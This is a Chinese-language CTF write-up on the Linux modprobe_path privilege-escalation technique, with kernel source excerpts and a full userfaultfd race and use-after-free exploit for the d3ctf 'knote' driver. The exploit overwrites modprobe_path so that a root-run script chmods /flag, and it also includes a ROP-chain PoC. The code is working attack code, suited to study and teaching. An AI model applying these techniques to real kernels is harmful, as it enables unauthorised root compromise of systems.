modprobe位于/proc/sys/kernel/modprobe,用于添加和卸载模块,默认路径是/sbin/modprobe ,该路径字符串存放于modprobe_path 这个全局变量中,该全局变量位于一个可读可写的内存页中,可以通过读取/proc/kallsyms得到它的地址

https://radishes-nine.vercel.app/modprobepath

当执行一个未知类型的文件时,系统将调用modprobe_path中存储的路径的文件,并且是以root用户来执行,所以当我们覆盖modprobe_path为可控文件时,就可以以root用户来执行任意命令

此篇文章也给出了常用的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void get_flag(void){
puts("[*] Returned to userland, setting up for fake modprobe");

system("echo '#!/bin/sh\nid>/tmp/wxm' > /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/radish");
system("chmod +x /tmp/radish");

puts("[*] Run unknown file");
system("/tmp/radish");

puts("[*] Hopefully flag is readable");
system("cat /tmp/wxm");

exit(0);
}



//rop
rop[i++]=pop_rax;
rop[i++]=0x782f706d742f;
rop[i++]=pop_rbx;
rop[i++]=modprobe_path;
rop[i++]=0;
rop[i++]=0;
rop[i++]=write_rbx_pp_ret;
rop[i++]=0;
rop[i++]=0;
rop[i++]= swapgs_ret;
rop[i++]= iretq;
rop[i++] = get_flag;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

原理:

查阅文章的时候发现的此篇:https://paper.seebug.org/1952/

execve加载程序时,会执行到exec_binprm()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int do_execve_common(struct filename *filename,
struct user_arg_ptr argv,
struct user_arg_ptr envp)
{
// 检查进程的数量限制

// 选择最小负载的CPU,以执行新程序
sched_exec();

// 填充 linux_binprm结构体
retval = prepare_binprm(bprm);

// 拷贝文件名、命令行参数、环境变量
retval = copy_strings_kernel(1, &bprm->filename, bprm);
retval = copy_strings(bprm->envc, envp, bprm);
retval = copy_strings(bprm->argc, argv, bprm);

// 调用里面的 search_binary_handler
retval = exec_binprm(bprm);

// exec执行成功

}

进入search_binary_handler,这个函数回去搜索和匹配合适的可执行文件装载处理过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
nt search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;

/* This allows 4 levels of binfmt rewrites before failing hard. */
if (bprm->recursion_depth > 5)
return -ELOOP;

retval = security_bprm_check(bprm);
if (retval)
return retval;

retval = -ENOENT;
retry:
// 遍历formats链表

read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);

bprm->recursion_depth++;

// 应用每种格式的load_binary方法 (如果是注册的二进制文件的话)
retval = fmt->load_binary(bprm);
bprm->recursion_depth--;

read_lock(&binfmt_lock);
put_binfmt(fmt);
if (retval < 0 && !bprm->mm) {
/* we got to flush_old_exec() and failed after it */
read_unlock(&binfmt_lock);
force_sigsegv(SIGSEGV);
return retval;
}
if (retval != -ENOEXEC || !bprm->file) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);

if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3])) // 检查是否是可打印字符 所以我们触发流程需修改为不可见字符
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)// 不是注册的
return retval;
need_retry = false;
goto retry;
}

return retval;
}

目前linux内核支持以下几种二进制格式:

  • binfmt_script
    :从#!开始的解释脚本。
  • binfmt_misc
    :根据linux内核的运行时配置,支持不同的二进制格式。
  • binfmt_elf
    :elf格式。
  • binfmt_aout
    :a.out格式。
  • binfmt_flat
    :flat格式。
  • binfmt_elf_fdpic
    :elf FDPIC二进制。
  • binfmt_em86
    :在Alpha机器上运行Intel elf二进制文件。

request_module()函数是__request_module()的宏定义。

1
#define request_module(mod...) __request_module(true, mod)

__request_module()函数是一个尝试加载内核模块的函数,主要调用call_modprobe(),定义于kernel/kmod.c。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path; // 是我们需要篡改的全局变量
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}

call_usermodehelper_exec()函数将modprobe_path作为可执行程序路径,以root权限执行,modprobe_path是一个全局变量,指向”/sbin/modprobe”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/kernel/kmod.c

/*
modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;

/init/Kconfig
config MODPROBE_PATH
string "Path to modprobe binary"
default "/sbin/modprobe"
help
When kernel code requests a module, it does so by calling
the "modprobe" userspace utility. This option allows you to
set the path where that binary is found. This can be changed
at runtime via the sysctl file
/proc/sys/kernel/modprobe. Setting this to the empty string
removes the kernel's ability to request modules (but
userspace can still load modules explicitly).

d3ctf knote

程序edit无锁

image-20221102165241223

get也无锁:

image-20221102165304341

使用race泄露内核基质,再次使用race造成内核堆的uaf 导致任意分配,申请到modprobe_path 进行读写即可

参考了ha1vk 师傅 https://blog.csdn.net/seaaseesa/article/details/104650794

myusfd.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
static int PAGE_SIZE = 0x1000;
void errExit(char* msg) {
printf("[x] Error at: %s\n", msg);
exit(-1);
}
void userfault_register(void* fault_addr, void* fault_handler_thread) {
long uffd; /* userfaultfd file descriptor */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
//创建和初始化api
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
//注册内存
uffdio_register.range.start = (unsigned long)fault_addr;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
//创建monitor线程,处理page fault
int s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
if (s != 0) {
errno = s;
errExit("pthread_create");
}
}
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct* (*lookup)(struct tty_driver* driver,
struct file* filp,
int idx);
int (*install)(struct tty_driver* driver, struct tty_struct* tty);
void (*remove)(struct tty_driver* driver, struct tty_struct* tty);
int (*open)(struct tty_struct* tty, struct file* filp);
void (*close)(struct tty_struct* tty, struct file* filp);
void (*shutdown)(struct tty_struct* tty);
void (*cleanup)(struct tty_struct* tty);
int (*write)(struct tty_struct* tty, const unsigned char* buf, int count);
int (*put_char)(struct tty_struct* tty, unsigned char ch);
void (*flush_chars)(struct tty_struct* tty);
int (*write_room)(struct tty_struct* tty);
int (*chars_in_buffer)(struct tty_struct* tty);
int (*ioctl)(struct tty_struct* tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct* tty,
unsigned int cmd,
unsigned long arg);
void (*set_termios)(struct tty_struct* tty, struct ktermios* old);
void (*throttle)(struct tty_struct* tty);
void (*unthrottle)(struct tty_struct* tty);
void (*stop)(struct tty_struct* tty);
void (*start)(struct tty_struct* tty);
void (*hangup)(struct tty_struct* tty);
int (*break_ctl)(struct tty_struct* tty, int state);
void (*flush_buffer)(struct tty_struct* tty);
void (*set_ldisc)(struct tty_struct* tty);
void (*wait_until_sent)(struct tty_struct* tty, int timeout);
void (*send_xchar)(struct tty_struct* tty, char ch);
int (*tiocmget)(struct tty_struct* tty);
int (*tiocmset)(struct tty_struct* tty,
unsigned int set,
unsigned int clear);
int (*resize)(struct tty_struct* tty, struct winsize* ws);
int (*set_termiox)(struct tty_struct* tty, struct termiox* tnew);
int (*get_icount)(struct tty_struct* tty,
struct serial_icounter_struct* icount);
void (*show_fdinfo)(struct tty_struct* tty, struct seq_file* m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver* driver, int line, char* options);
int (*poll_get_char)(struct tty_driver* driver, int line);
void (*poll_put_char)(struct tty_driver* driver, int line, char ch);
#endif
const struct file_operations* proc_fops;
};

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#include <pthread.h>
#include "myusfd.h"
#define TTY_SIZE 0x2e0
#define MOD_PROBE 0x145c5c0
size_t user_cs, user_ss, user_rflags, user_sp;
size_t kernel_offset = 0, kernel_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0, modprobe_path = 0;

void saveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void) {
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if (getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts(
"\033[32m\033[1m[+] Successful to get the root. Execve root shell "
"now...\033[0m");
system("/bin/sh");
}
void fault_handler_thread_leak(void* arg) {
puts("[+]leak thread start..");
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));

sleep(4);
printf("[*] faultbuf stuck ...n\n");

if (nread <= 0) {
errExit("[-] msg err");
}
char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
errExit("[-] mmap err");
}
// init page
memset(page, 0, sizeof(page));

uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] leak_fault_handler done");
return;
}
void fault_handler_thread_evilwrite(void* arg) {
puts("[+] fault_handler_evilwrte start!");
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));

sleep(5);

if (nread <= 0) {
errExit("[-] msg err");
}
char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
errExit("[-] mmap err");
}
// init page
memset(page, 0, sizeof(page));
memcpy(page, &modprobe_path, 8);
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] evilwrite on chunk success!");
puts("[+] fault_handler_write done");
return;
}

struct Data {
union {
size_t size;
size_t index;
};
void* buf;
};
long notefd, tty_fd;
void add(size_t size) {
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(notefd, 0x1337, &data);
}
void edit(size_t index, void* buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(notefd, 0x8888, &data);
}
void delete (size_t index) {
struct Data data;
data.index = index;
ioctl(notefd, 0x6666, &data);
}
void show(size_t index, void* buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(notefd, 0x2333, &data);
}

int main() {
notefd = open("/dev/knote", O_RDWR);
if (notefd < 0) {
errExit("device open error!!");
}

char* faultbuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if (faultbuf == MAP_FAILED)
errExit("map");
userfault_register(faultbuf, fault_handler_thread_leak);
add(TTY_SIZE);
printf("[+] add tty chunk success!\n");
pid_t pid = fork();
if (pid < 0) {
errExit("fork");
} else if (pid == 0) {
sleep(1);
delete (0);
printf("[-]son delete the tty chunk\n");
for (int i = 0; i < 0x30; i++)
tty_fd = open("/dev/ptmx", O_RDWR);
printf("[+]son open tty done\n");
exit(0);
}
// parent
show(0, faultbuf);

printf("[+]show success!\n");

size_t* data = (size_t*)faultbuf;
if (data[7] == 0) {
munmap(faultbuf, PAGE_SIZE);
close(tty_fd);
errExit("[-]leak data error!!");
}
close(tty_fd);

size_t x_fun_addr = data[0x56];

size_t kernel_base = x_fun_addr - 0x5d4ef0;

modprobe_path = kernel_base + MOD_PROBE;
printf("kernel_base=0x%lx\n", kernel_base);
printf("modprobe_path=0x%lx\n", modprobe_path);

char* writebuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (writebuf == MAP_FAILED)
errExit("map");
userfault_register(writebuf, fault_handler_thread_evilwrite);

sleep(5);

// write
add(0x100);
puts("[+] add 0x100 chunk success!");
pid = fork();
if (pid < 0) {
errExit("fork");
} else if (pid == 0) {
sleep(1);
delete (0);
puts("[-] write son delete done!");
exit(0);
}
edit(0, writebuf);

puts("[+] edit success!");
// chunk next-> mdpb path
sleep(3);

add(0x100);
add(0x100);
puts("[+] get the mdpb chunk!");
char* temp[0x100];
strcpy(temp, "/tmp/shell.sh");

edit(1, temp);
puts("[+] overwrite mdpb success!");
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag");
sleep(5);
return 0;
}

image-20221102162304731

参考链接:

http://www.pingtaimeng.com/article/detail/id/2090143通过分析exevc系统调用处理过程来理解Linux内核如何装载和启动一个可执行程序

https://www.modb.pro/db/407065 linux内核如何启动用户空间进程